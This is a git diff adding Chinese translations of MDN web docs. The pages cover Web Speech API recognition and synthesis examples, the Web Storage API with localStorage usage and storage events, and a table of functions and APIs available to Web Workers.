+  recognition.start();
+  console.log('Ready to receive a color command.');
+}
+ +

接收、处理结果

+ +

一旦语音识别开始,有许多event handlers可以用于做结果返回的后续操作,除了识别的结果外还有些零碎的相关信息可供操作(可查看 SpeechRecognition event handlers list )。最常见会使用的一个是 SpeechRecognition.onresult ,这在收到一个成功的结果时候触发。

+ +
recognition.onresult = function(event) {
+  var last = event.results.length - 1;
+  var color = event.results[last][0].transcript;
+  diagnostic.textContent = 'Result received: ' + color + '.';
+  bg.style.backgroundColor = color;
+  console.log('Confidence: ' + event.results[0][0].confidence);
+}
+ +

代码中第三行看上去有一点复杂,让我们一步一步解释以下。SpeechRecognitionEvent.results 属性返回的是一个SpeechRecognitionResultList 对象(这个对象会包含SpeechRecognitionResult 对象们),它有一个getter,所以它包含的这些对象可以像一个数组被访问到——所以[last] 返回的是排在最后位置(最新)的SpeechRecognitionResult对象。每个SpeechRecognitionResult 对象包含的 SpeechRecognitionAlternative 对象含有一个被识别的单词。这些SpeechRecognitionResult 对象也有一个getter,所以[0] 返回的是其中包含的第一个SpeechRecognitionAlternative 对象。最后返回的transcript属性就是被识别单词的字符串,把背景颜色设置为这个颜色,并在UI中报告出这个结果信息。

+ +

也使用了 SpeechRecognition.onspeechend 这个handle停止语音识别服务(具体工作在SpeechRecognition.stop()) ,一旦一个单词被识别就不能再说咯(必须再点击屏幕再次开启语音识别)

+ +
recognition.onspeechend = function() {
+  recognition.stop();
+}
+ +

处理error和未能识别的语音

+ +

最后两个handlers处理的两种情况,一种是你说的内容不在定义的语法中所以识别不了,另一种是出现了error。

+ +

SpeechRecognition.onnomatch 支持的就是第一种,但是得注意它似乎在Firefox或者Chrome中触发会有问题;它只是返回任何被识别的内容:

+ +
recognition.onnomatch = function(event) {
+  diagnostic.textContent = 'I didnt recognise that color.';
+}
+ +

SpeechRecognition.onerror 处理的是第二种情况,识别成功了但是有error出现—— SpeechRecognitionError.error 属性包含的信息就是返回的确切的error是什么。

+ +
recognition.onerror = function(event) {
+  diagnostic.textContent = 'Error occurred in recognition: ' + event.error;
+}
+ +

Speech synthesis

+ +

语音合成(也被称作是文本转为语音,英语简写是tts) 包括接收app中需要语音合成的文本,再在设备麦克风播放出来这两个过程。

+ +

Web Speech API 对此有一个主要控制接口——SpeechSynthesis ,外加一些处理如何表示要被合成的文本(也被称为 utterances),用什么声音来播出 utterances 等工作的相关接口。同样的,许多操作系统都有自己的某种语音合成系统,在这个任务中我们调用可用的API来使用语音合成系统。

+ +

Demo

+ +

为了展示 Web语音合成的简单使用,我们提供了一个例子—— Speak easy synthesis 。例子是一套表单控件,包括输入需要被合成的文本,设置音调、语速和发出文本时需要的语音。在输入文本之后,按下Enter/Return键使它播放。

+ +

UI of an app called speak easy synthesis. It has an input field in which to input text to be synthesised, slider controls to change the rate and pitch of the speech, and a drop down menu to choose between different voices.

+ +

想跑这个例子,你可以git clone Github仓库中的部分(或者直接下载),在桌面版支持的浏览器打开 index.html 文件,或者在移动端浏览器直接导向 live demo URL ,像 Chrome和Firefox OS。

+ +

浏览器支持

+ +

Web Speech API 语音合成部分在各浏览器中还是在发展,还不成熟,现在有以下几个限制点:

+ + + +

HTML 和 CSS

+ +

HTML和CSS还是无足轻重,只是简单包含一个标题,一段介绍文字,以及一个表格带有一些简单控制功能。<select> 元素初始时空的,之后会用 js使用<option> 填充。

+ +
<h1>Speech synthesiser</h1>
+
+<p>Enter some text in the input below and press return to hear it. change voices using the dropdown menu.</p>
+
+<form>
+  <input type="text" class="txt">
+  <div>
+    <label for="rate">Rate</label><input type="range" min="0.5" max="2" value="1" step="0.1" id="rate">
+    <div class="rate-value">1</div>
+    <div class="clearfix"></div>
+  </div>
+  <div>
+    <label for="pitch">Pitch</label><input type="range" min="0" max="2" value="1" step="0.1" id="pitch">
+    <div class="pitch-value">1</div>
+    <div class="clearfix"></div>
+  </div>
+  <select>
+
+  </select>
+</form>
+ +

JavaScript

+ +

让我们看看js在这个app中的强大表现。

+ +

设置变量

+ +

首先我们获得UI中涉及的DOM元素的引用,但更有趣的是,我们获得了Window.speechSynthesis 的引用。这是API的入口点——它返回了SpeechSynthesis 的一个实例,对于 web语音合成的控制接口。

+ +
var synth = window.speechSynthesis;
+
+var inputForm = document.querySelector('form');
+var inputTxt = document.querySelector('.txt');
+var voiceSelect = document.querySelector('select');
+
+var pitch = document.querySelector('#pitch');
+var pitchValue = document.querySelector('.pitch-value');
+var rate = document.querySelector('#rate');
+var rateValue = document.querySelector('.rate-value');
+
+var voices = [];
+
+ +

填充 select 元素

+ +

为使用设备可使用的不同的语音选项填充<select>元素,我们写了populateVoiceList() 方法。首先调用SpeechSynthesis.getVoices() ,这个函数返回包含所有可用语音(SpeechSynthesisVoice对象)的列表。接下来循环这个列表,每次创建一个<option> 元素,设置它的文本内容以显示声音的名称(从SpeechSynthesisVoice.name获取),语音的语言(从SpeechSynthesisVoice.lang获取),如果某个语音是合成引擎默认的(检查SpeechSynthesisVoice.default属性返回true) 在文本内容后面添加-- DEFAULT

+ +

对于每个option元素,我们也创建了data- 属性,属性值是语音的名字和语言,这样在之后我们可以轻松获取这个信息。之后把所有的option元素作为孩子添加到select 元素。

+ +
function populateVoiceList() {
+  voices = synth.getVoices();
+
+  for(i = 0; i < voices.length ; i++) {
+    var option = document.createElement('option');
+    option.textContent = voices[i].name + ' (' + voices[i].lang + ')';
+
+    if(voices[i].default) {
+      option.textContent += ' -- DEFAULT';
+    }
+
+    option.setAttribute('data-lang', voices[i].lang);
+    option.setAttribute('data-name', voices[i].name);
+    voiceSelect.appendChild(option);
+  }
+}
+ +

接下来是运行这个函数,我们做如下代码工作。因为Firefox不支持SpeechSynthesis.onvoiceschanged ,所以很常规地只是返回语音对象列表当SpeechSynthesis.getVoices() 被触发。但是 Chrome 就有点不同了,在SpeechSynthesis.getVoices() 被触发时,先要等待事件触发(有点绕~按照下面代码,populateVoiceList 函数在Firefox运行一次,在Chrome中运行两次):

+ +
populateVoiceList();
+if (speechSynthesis.onvoiceschanged !== undefined) {
+  speechSynthesis.onvoiceschanged = populateVoiceList;
+}
+ +

说出输入的文本

+ +

接下来我们创建一个事件处理器(handler),开始说出在文本框中输入的文本。我们把onsubmit 处理器挂在表单上,当Enter/Return 被按下,对应行为就会发生。我们首先通过构造函数创建一个新的SpeechSynthesisUtterance() 实例——把文本输入框中的值作为参数传递。

+ +

接下来,我们需要弄清楚使用哪种语音。使用HTMLSelectElement selectedOptions 属性返回当前选中的 <option> 元素。然后使用元素的data-name属性,找到 SpeechSynthesisVoice 对象的name匹配data-name 的值。把匹配的语音对象设置为SpeechSynthesisUtterance.voice 的属性值。

+ +

最后,我们设置 SpeechSynthesisUtterance.pitchSpeechSynthesisUtterance.rate 属性值为对应范围表单元素中的值。哈哈所有准备工作就绪,调用 SpeechSynthesis.speak() 开始说话。把 SpeechSynthesisUtterance 实例作为参数传递。

+ +
inputForm.onsubmit = function(event) {
+  event.preventDefault();
+
+  var utterThis = new SpeechSynthesisUtterance(inputTxt.value);
+  var selectedOption = voiceSelect.selectedOptions[0].getAttribute('data-name');
+  for(i = 0; i < voices.length ; i++) {
+    if(voices[i].name === selectedOption) {
+      utterThis.voice = voices[i];
+    }
+  }
+  utterThis.pitch = pitch.value;
+  utterThis.rate = rate.value;
+  synth.speak(utterThis);
+ +

在事件处理器的最后部分,我们加入了一个 SpeechSynthesisUtterance.onpause 处理器,来展示SpeechSynthesisEvent 如何可以很好地使用。当 SpeechSynthesis.pause() 被调用,这将返回一条消息,报告该语音暂停的字符编号和名称。

+ +
   utterThis.onpause = function(event) {
+    var char = event.utterance.text.charAt(event.charIndex);
+    console.log('Speech paused at character ' + event.charIndex + ' of "' +
+    event.utterance.text + '", which is "' + char + '".');
+  }
+ +

最后,我们在文本输入框添加了 blur() 方法。这主要是在Firefox操作系统上隐藏键盘

+ +
  inputTxt.blur();
+}
+ +

Updating the displayed pitch and rate values

+ +

代码的最后部分,在每次滑动条移动时,简单地更新pitch/rate在UI中展示的值。

+ +
pitch.onchange = function() {
+  pitchValue.textContent = pitch.value;
+}
+
+rate.onchange = function() {
+  rateValue.textContent = rate.value;
+}
+ +

 

+ +

 

+ +

 

+ +

 

diff --git a/files/zh-cn/web/api/web_storage_api/index.html b/files/zh-cn/web/api/web_storage_api/index.html new file mode 100644 index 0000000000..2e57e01de3 --- /dev/null +++ b/files/zh-cn/web/api/web_storage_api/index.html @@ -0,0 +1,105 @@ +--- +title: Web Storage API +slug: Web/API/Web_Storage_API +tags: + - API + - Storage + - Web Storage + - Web Storage API + - localStorage + - sessionStorage +translation_of: Web/API/Web_Storage_API +--- +

{{DefaultAPISidebar("Web Storage API")}}

+ +

 Web Storage API 提供机制, 使浏览器能以一种比使用Cookie更直观的方式存储键/值对。

+ +

Web Storage 概念和用法

+ +

Web Storage 包含如下两种机制:

+ + + +

这两种机制是通过 {{domxref("Window.sessionStorage")}} 和 {{domxref("Window.localStorage")}} 属性使用(更确切的说,在支持的浏览器中 Window 对象实现了 WindowLocalStorage 和 WindowSessionStorage 对象并挂在其 localStoragesessionStorage 属性下)—— 调用其中任一对象会创建 {{domxref("Storage")}} 对象,通过 {{domxref("Storage")}} 对象,可以设置、获取和移除数据项。对于每个源(origin)sessionStoragelocalStorage 使用不同的 Storage 对象——独立运行和控制。

+ +
+

注意:从Firefox 45开始,当浏览器崩溃或重启时,每个源的存储大小将限制在10M,以避免因过度使用web storage引起的内存问题。

+
+ +
+

注意:若用户禁用第三方cookie,那么将不允许来自第三方IFrames对Web Storage的访问。(从Firefox 43版本开始实行)

+
+ +
+

注意:本地存储不同于mozStorage(Mozilla's XPCOM interfaces to SQLite)或Session store API(an XPCOM storage utility for use by extensions)。

+
+ +

Web Storage 接口

+ +
+
{{domxref("Storage")}}
+
允许你在一个特定域中设置,检索和删除数据和储存类型(session or local.)
+
{{domxref("Window")}}
+
Web Storage API 继承于{{domxref("Window")}} 对象,并提供两个新属性  — {{domxref("Window.sessionStorage")}} 和 {{domxref("Window.localStorage")}} — 它们分别地提供对当前域的会话和本地{{domxref("Storage")}} 对象的访问。
+
{{domxref("StorageEvent")}}
+
 当一个存储区更改时,存储事件从文档的 Window 对象上被发布。
+
+ +

例子

+ +

为了阐述一些 典型的web storage的用法, 我们创了一个简单的例子,  Web Storage Demo. landing page 提供控制器可以用来自定义颜色,字体和装饰图片。 当你选择不同的选项, 页面会被立即更新;此外,你的选择被储存到 localStorage 中,  以便当你离开该页面,然后过些时候在重新加载它时,你的选择会被记住。

+ +

另外, 我们提供了一个 event output page — 如果你在另一个标签页加载这个页面, 然后在landing page改变你的选择,当{{event("StorageEvent")}}被发布时,你将会看到被更新的储存信息输出。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Storage')}}{{Spec2('Web Storage')}}
+ +

浏览器兼容性

+ +

Window.localStorage

+ +

{{Compat("api.Window.localStorage")}}

+ +

Window.sessionStorage

+ +

{{Compat("api.Window.sessionStorage")}}

+ +

不同的浏览器对localStorage和sessionStorage有不同的容量限制。点此查看各版本浏览器对存储容量的描述详情

+ +
+ +
+

注意:手机Safari从iOS 5.1版本开始,将localStorage数据到存放到缓存文件夹中,当空间不足时,系统将会时不时地自动清理缓存。

+
+ +

隐私浏览/ 隐身模式

+ +

大多数现代浏览器支持称为 'Incognito' 的用户隐私选择, “隐私浏览” 或类似的功能可以不像历史记录和cookie那样存储数据。 这明显与 Web Storage 不兼容。因此,浏览器厂商正尝试不同的方式来处理不兼容问题。

+ +

多数浏览器可以选择一种策略使存储的API可以使用并且不受限制,最大的不同是存储的数据在浏览器关闭后被清除。这些浏览器对如何处理已经存在的数据(从定期的session中获取到的),仍旧持有不同解释。在隐私模式还应该可读吗?然后就有一些浏览器,尤其是Safari,提供了可选的解决方式:存储可用,但是给其分配0字节的存储空间,有效的使其不能被写入数据。

+ +

开发者需明确不同的实现,并在用 Web Storage API 开发网站时考虑这些实现的差别。更多信息请查看 this WHATWG blog post ,这里有更详细的讨论。

+ +

参见

+ + diff --git a/files/zh-cn/web/api/web_storage_api/using_the_web_storage_api/index.html b/files/zh-cn/web/api/web_storage_api/using_the_web_storage_api/index.html new file mode 100644 index 0000000000..12f99349f2 --- /dev/null +++ b/files/zh-cn/web/api/web_storage_api/using_the_web_storage_api/index.html @@ -0,0 +1,209 @@ +--- +title: 使用 Web Storage API +slug: Web/API/Web_Storage_API/Using_the_Web_Storage_API +translation_of: Web/API/Web_Storage_API/Using_the_Web_Storage_API +--- +
+

Web Storage API 提供了存储机制,通过该机制,浏览器可以安全地存储键值对,比使用 cookie 更加直观。这篇文章一步一步讲解如何使用这项简单的技术。

+
+ +

基本概念

+ +

存储对象是简单的键值存储,类似于对象,但是它们在页面加载时保持完整。键和值始终是字符串(请注意,与对象一样,整数键将自动转换为字符串)。您可以像访问对象一样访问这些值,或者使用  {{domxref("Storage.getItem()")}} 和  {{domxref("Storage.setItem()")}} 方法 。这三行都设置了(相同的)colorSetting条目:

+ +
localStorage.colorSetting = '#a4509b';
+localStorage['colorSetting'] = '#a4509b';
+localStorage.setItem('colorSetting', '#a4509b');
+ +

Web Storage 包含如下两种机制:

+ + + +

这两种机制是通过 {{domxref("Window.sessionStorage")}} 和 {{domxref("Window.localStorage")}} 属性使用(更确切的说,在支持的浏览器中 Window 对象实现了 WindowLocalStorage 和 WindowSessionStorage 对象并挂在其 localStoragesessionStorage 属性下)—— 调用其中任一对象会创建 {{domxref("Storage")}} 对象,通过 {{domxref("Storage")}} 对象,可以设置、获取和移除数据项。对于每个源(origin)sessionStoragelocalStorage 使用不同的 Storage 对象——独立运行和控制。

+ +

例如,在文档中调用 localStorage 将会返回一个 {{domxref("Storage")}} 对象;调用 sessionStorage 返回一个不同的 {{domxref("Storage")}} 对象。可以使用相同的方式操作这些对象,但是操作是独立的。

+ +

localStorage 功能检测

+ +

为了能够使用 localStorage,我们应该首先验证它是否在当前浏览会话中受支持并可用。

+ +

测试可用性

+ +

支持 localStorage 的浏览器将在窗口对象上具有一个名为 localStorage 的属性。但是,仅断言该属性存在可能会引发异常。如果 localStorage 确实存在,则仍然不能保证 localStorage 实际可用,因为各种浏览器都提供了禁用 localStorage 的设置。因此,浏览器可能支持localStorage,但不适用于页面上的脚本。

+ +

例如,私有浏览模式下的 Safari 浏览器为我们提供了一个空的l ocalStorage 对象,其配额为零,实际上使它无法使用。相反,我们可能会收到合法的 QuotaExceededError,这意味着我们已经用完了所有可用的存储空间,但实际上存储空间可用。我们的功能检测应考虑这些情况。

+ +

这是一个检测 localStorage 是否同时受支持和可用的函数:

+ +
function storageAvailable(type) {
+    var storage;
+    try {
+        storage = window[type];
+        var x = '__storage_test__';
+        storage.setItem(x, x);
+        storage.removeItem(x);
+        return true;
+    }
+    catch(e) {
+        return e instanceof DOMException && (
+            // everything except Firefox
+            e.code === 22 ||
+            // Firefox
+            e.code === 1014 ||
+            // test name field too, because code might not be present
+            // everything except Firefox
+            e.name === 'QuotaExceededError' ||
+            // Firefox
+            e.name === 'NS_ERROR_DOM_QUOTA_REACHED') &&
+            // acknowledge QuotaExceededError only if there's something already stored
+            (storage && storage.length !== 0);
+    }
+}
+ +

这是您将如何使用它:

+ +
if (storageAvailable('localStorage')) {
+  // Yippee! We can use localStorage awesomeness
+}
+else {
+  // Too bad, no localStorage for us
+}
+ +

您可以通过调用 storageAvailable('sessionStorage') 来测试 sessionStorage。

+ +

请参阅此处,brief history of feature-detecting localStorage.。

+ +

一个简单的示例

+ +

为了展示 Web Storage 的用法,我们创建了一个简单的示例,假设称为 Web Storage Demo示例页面提供了控制表单,用于自定义颜色、字体和装饰图片:

+ +

当你选择不同的选项后,页面会立即更新;除此之外,你的选择会被存到 localStorage 里,这样,当你关闭页面之后重新加载时,你的选择会被记住。

+ +

我们还提供了一个存储事件结果页面 — 如果你在另一个标签页加载该页面,然后改变之前示例页面的选项,则随着 {{event("StorageEvent")}} 事件的触发,更新的存储信息会显示出来。

+ +

+ +
+

备注: 除了使用上面的链接查看示例页面外,还可以获取源码

+
+ +

测试本地存储是否已被填充

+ +

在 main.js 开头,我们先测试本地存储是否已被填充(即,页面之前被访问过):

+ +
if(!localStorage.getItem('bgcolor')) {
+  populateStorage();
+} else {
+  setStyles();
+}
+ +

{{domxref("Storage.getItem()")}} 方法用来从存储中获取一个数据项。该例中,我们测试 bgcolor 数据项是否存在。如果不存在,执行 populateStorage() 来将存在的自定义值添加到存储中。如果有值存在,则执行 setStyles() 来使用存储的值更新页面的样式。

+ +
+

备注:你还可以使用 {{domxref("Storage.length")}} 来测试存储对象是否为空。

+
+ +

从存储中获取值

+ +

正如上面提到的,使用 {{domxref("Storage.getItem()")}} 可以从存储中获取一个数据项。该方法接受数据项的键作为参数,并返回数据值。例如:

+ +
function setStyles() {
+  var currentColor = localStorage.getItem('bgcolor');
+  var currentFont = localStorage.getItem('font');
+  var currentImage = localStorage.getItem('image');
+
+  document.getElementById('bgcolor').value = currentColor;
+  document.getElementById('font').value = currentFont;
+  document.getElementById('image').value = currentImage;
+
+  htmlElem.style.backgroundColor = '#' + currentColor;
+  pElem.style.fontFamily = currentFont;
+  imgElem.setAttribute('src', currentImage);
+}
+ +

首先,前三行代码从本地中获取值。接着,将值显示到表单元素中,这样在重新加载页面时与自定义设置保持同步。最后,更新页面的样式和图片,这样重新加载页面后,你的自定义设置重新起作用了。

+ +

在存储中设置值

+ +

{{domxref("Storage.setItem()")}} 方法可被用来创建新数据项和更新已存在的值。该方法接受两个参数——要创建/修改的数据项的键,和对应的值。

+ +
function populateStorage() {
+  localStorage.setItem('bgcolor', document.getElementById('bgcolor').value);
+  localStorage.setItem('font', document.getElementById('font').value);
+  localStorage.setItem('image', document.getElementById('image').value);
+
+  setStyles();
+}
+ +

populateStorage() 方法在本地存储中设置三项数据 — 背景颜色、字体和图片路径。然后执行 setStyles() 方法来更新页面的样式。

+ +

同时,我们为每个表单元素绑定了一个 onchange 监听器,这样,一个表单值改变时,存储的数据和页面样式会更新。

+ +
bgcolorForm.onchange = populateStorage;
+fontForm.onchange = populateStorage;
+imageForm.onchange = populateStorage;
+ +

通过 StorageEvent 响应存储的变化

+ +

无论何时,{{domxref("Storage")}} 对象发生变化时(即创建/更新/删除数据项时,重复设置相同的键值不会触发该事件,{{domxref("Storage.clear()")}} 方法至多触发一次该事件),{{event("StorageEvent")}} 事件会触发。在同一个页面内发生的改变不会起作用——在相同域名下的其他页面(如一个新标签或 iframe)发生的改变才会起作用。在其他域名下的页面不能访问相同的 Storage 对象。

+ +

在事件结果页面中的 JavaScript 如下所示(可见 events.js):

+ +
window.addEventListener('storage', function(e) {
+  document.querySelector('.my-key').textContent = e.key;
+  document.querySelector('.my-old').textContent = e.oldValue;
+  document.querySelector('.my-new').textContent = e.newValue;
+  document.querySelector('.my-url').textContent = e.url;
+  document.querySelector('.my-storage').textContent = e.storageArea;
+});
+ +

这里,我们为 window 对象添加了一个事件监听器,在当前域名相关的 {{domxref("Storage")}} 对象发生改变时该事件监听器会触发。正如你在上面看到的,此事件相关的事件对象有多个属性包含了有用的信息——改变的数据项的键,改变前的旧值,改变后的新值,改变的存储对象所在的文档的 URL,以及存储对象本身。

+ +

删除数据记录

+ +

Web Storage 提供了一对简单的方法用于移除数据。我们没用在我们的 demo 中使用这些方法,但是添加到你自己的项目中很简单:

+ + + +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webstorage.html#webstorage')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ +

{{Compat("api.Window.localStorage")}}
+
+ {{Compat("api.Window.sessionStorage")}}

+ +
+ +

各浏览器支持的 localStorage 和 sessionStorage 容量上限不同。测试页面 detailed rundown of all the storage capacities for various browsers

+ +
+

笔记:从ios 5.1后,Safari移动存储本地存储的数据在缓存文件夹,这样在系统空间不足的情况下,方便系统自动清理。

+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/web_workers_api/functions_and_classes_available_to_workers/index.html b/files/zh-cn/web/api/web_workers_api/functions_and_classes_available_to_workers/index.html new file mode 100644 index 0000000000..f859a3d938 --- /dev/null +++ b/files/zh-cn/web/api/web_workers_api/functions_and_classes_available_to_workers/index.html @@ -0,0 +1,371 @@ +--- +title: Web Workers可以使用的函数和类 +slug: Web/API/Web_Workers_API/Functions_and_classes_available_to_workers +tags: + - functions and classes available to Web Workers +translation_of: Web/API/Web_Workers_API/Functions_and_classes_available_to_workers +--- +

除了标准的 JavaScript 函数集 (例如 {{jsxref("String")}}, {{jsxref("Array")}}, {{jsxref("Object")}}, {{jsxref("JSON")}} 等), DOM有多种功能可供 workers使用。

+ +

本文提供了一些列表。

+ +

Workers 在另一个全局上下文内运行, {{domxref("DedicatedWorkerGlobalScope")}} 与当前 window不同。

+ +

默认情况下,{{domxref("Window")}}的方法和属性不可用,但{{domxref("DedicatedWorkerGlobalScope")}}像Window,实现{{domxref("WindowTimers")}} 和 {{domxref("WindowBase64")}}。

+ + + +

比较不同类型workers的属性和方法

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FunctionDedicated workersShared workersService workersChrome workers {{Non-standard_inline}}Outside workers
{{domxref("WindowBase64.atob", "atob()")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("Window")}}
{{domxref("WindowBase64.btoa", "btoa()")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("Window")}}
{{domxref("WindowTimers.clearInterval", "clearInterval()")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("Window")}}
{{domxref("WindowTimers.clearTimeout", "clearTimeout()")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("Window")}}
{{domxref("Window.dump()", "dump()")}} {{non-standard_inline}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("Window")}}
{{domxref("WindowTimers.setInterval", "setInterval()")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("Window")}}
{{domxref("WindowTimers.setTimeout", "setTimeout()")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("Window")}}
{{domxref("WorkerGlobalScope.importScripts", "importScripts()")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}no
{{domxref("WorkerGlobalScope.close", "close()")}} {{non-standard_inline}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, but is a no-op.Unknownno
{{domxref("DedicatedWorkerGlobalScope.postMessage", "postMessage()")}}yes, on {{domxref("DedicatedWorkerGlobalScope")}}nonoUnknownno
+ +

APIs available in workers

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FunctionFunctionalitySupport in Gecko (Firefox)Support in IESupport in Blink (Chrome and Opera)Support in WebKit (Safari)
{{domxref("Broadcast_Channel_API","Broadcast Channel API")}} +

允许在{{glossary("origin","同源")}}的浏览{{glossary("browsing context", "上下文")}}(即窗口,制表符,框架或iframe)之间进行简单通信(通常是来自同一站点的页面)。

+
{{ CompatGeckoDesktop(38)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{domxref("Cache", "Cache")}}Cache API provides the ability to programmatically control cache storage associated with current origin.{{CompatVersionUnknown}}{{CompatNo}}{{ CompatChrome(43) }}{{CompatUnknown}}
{{domxref("Channel_Messaging_API", "Channel Messaging API")}}Allows two separate scripts running in different browsing contexts attached to the same document (e.g., two IFrames, or the main document and an IFrame, two documents via a {{domxref("SharedWorker")}}, or two workers) to communicate directly via two ports.{{ CompatGeckoDesktop(41)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
{{domxref("Console", "Console API")}}Provides access to the browser's debugging console (e.g., the Web Console in Firefox). The specifics of how it works vary from browser to browser, but there is a de facto set of features that are typically provided.{{ CompatGeckoDesktop(38)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
{{domxref("CustomEvent")}}The CustomEvent interface represents events initialized by an application for any purpose.{{ CompatGeckoDesktop(48)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
{{domxref("Data_Store_API", "Data Store")}}A powerful, flexible storage mechanism for multiple Firefox OS applications to use to store and share data between one another quickly, efficiently, and securely.Only in Firefox OS internal (certified) applications, since v1.0.1.{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{domxref("DOMRequest")}} and {{domxref("DOMCursor")}}Respectively, these objects represents an ongoing operation (with listeners for reacting to the operation completely successfully, or failing, for example), and an ongoing operation over a list of results.{{ CompatGeckoDesktop(41)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
{{domxref("Fetch_API", "Fetch")}}The Fetch spec provides an up-to-date definition of, and API for, fetching resources (e.g. across the network.)Mostly in {{ CompatGeckoDesktop(34)}} behind pref, although a few features are later.{{CompatNo}}{{ CompatChrome(42) }}
+ {{ CompatChrome(41) }} behind pref
{{CompatNo}}
{{domxref("FileReader")}}This API allows asynchronous read of {{domxref("Blob")}} and {{domxref("File")}} objects.{{CompatGeckoDesktop(46)}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
{{domxref("FileReaderSync")}}This API allows synchronous read of {{domxref("Blob")}} and {{domxref("File")}} objects. This is an API that works only in workers.{{CompatGeckoDesktop(8)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{domxref("FormData")}}FormData objects provide a way to easily construct a set of key/value pairs representing form fields and their values, which can then be easily sent using the XMLHttpRequest send() method.{{CompatUnknown}} (should be in {{CompatGeckoDesktop(39)}}){{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
{{domxref("ImageData")}}The underlying pixel data of an area of a {{domxref("canvas")}} element. Manipulating such data can be a complex task better suited to be delegated to a Web Worker.{{CompatGeckoDesktop(25)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{domxref("IndexedDB_API", "IndexedDB")}}Database to store records holding simple values and hierarchical objects.{{CompatGeckoDesktop(37)}},  {{CompatGeckoDesktop(42)}} for {{domxref("IDBCursorWithValue")}}.10.0{{CompatVersionUnknown}}{{CompatNo}}
Network Information APIprovides information about the system's connection in terms of general connection type (e.g., 'wifi', 'cellular', etc.).{{CompatGeckoMobile(53)}} only on mobile{{CompatVersionUnknown}} only on mobile{{CompatNo}}{{CompatNo}}
{{domxref("Notifications_API", "Notifications")}}Allows web pages to control the display of system notifications to the end user{{CompatGeckoDesktop(41)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
{{domxref("Performance")}}The Performance interface represents timing-related performance information for the given page.{{ CompatGeckoDesktop("34.0") }}{{CompatUnknown}}{{ CompatChrome("33.0") }}{{CompatUnknown}}
{{jsxref("Promise")}}JavaScript objects that allow you to write asynchronous functions.{{CompatGeckoDesktop(28)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Server-sent eventsAllows a server to push data to a web page at any point, after a connection has been opened to it.{{CompatGeckoDesktop(53)}} (currently only available in dedicated and shared workers; not service workers.){{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
{{domxref("ServiceWorkerRegistration")}}You can register a service worker from inside a standard worker, and use associated functionality.{{CompatGeckoDesktop(40)}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
{{domxref("TextEncoder")}} and {{domxref("TextDecoder")}}Create and return a new {{domxref("TextEncoder")}}, or respectively {{domxref("TextDecoder")}}, allowing to encode or decode strings into specific encodings.{{CompatGeckoDesktop(20)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{ domxref("URL") }}Workers can use the static methods URL.createObjectURL and URL.revokeObjectURL with {{domxref("Blob")}} objects accesible to the worker.
+ Workers can also create a new URL using the {{domxref("URL.URL", "URL()")}} constructor and call any normal method on the returned object.
{{CompatGeckoDesktop(21)}} and {{CompatGeckoDesktop(26)}} for URL() constructor{{CompatNo}}{{CompatNo}}{{CompatNo}}
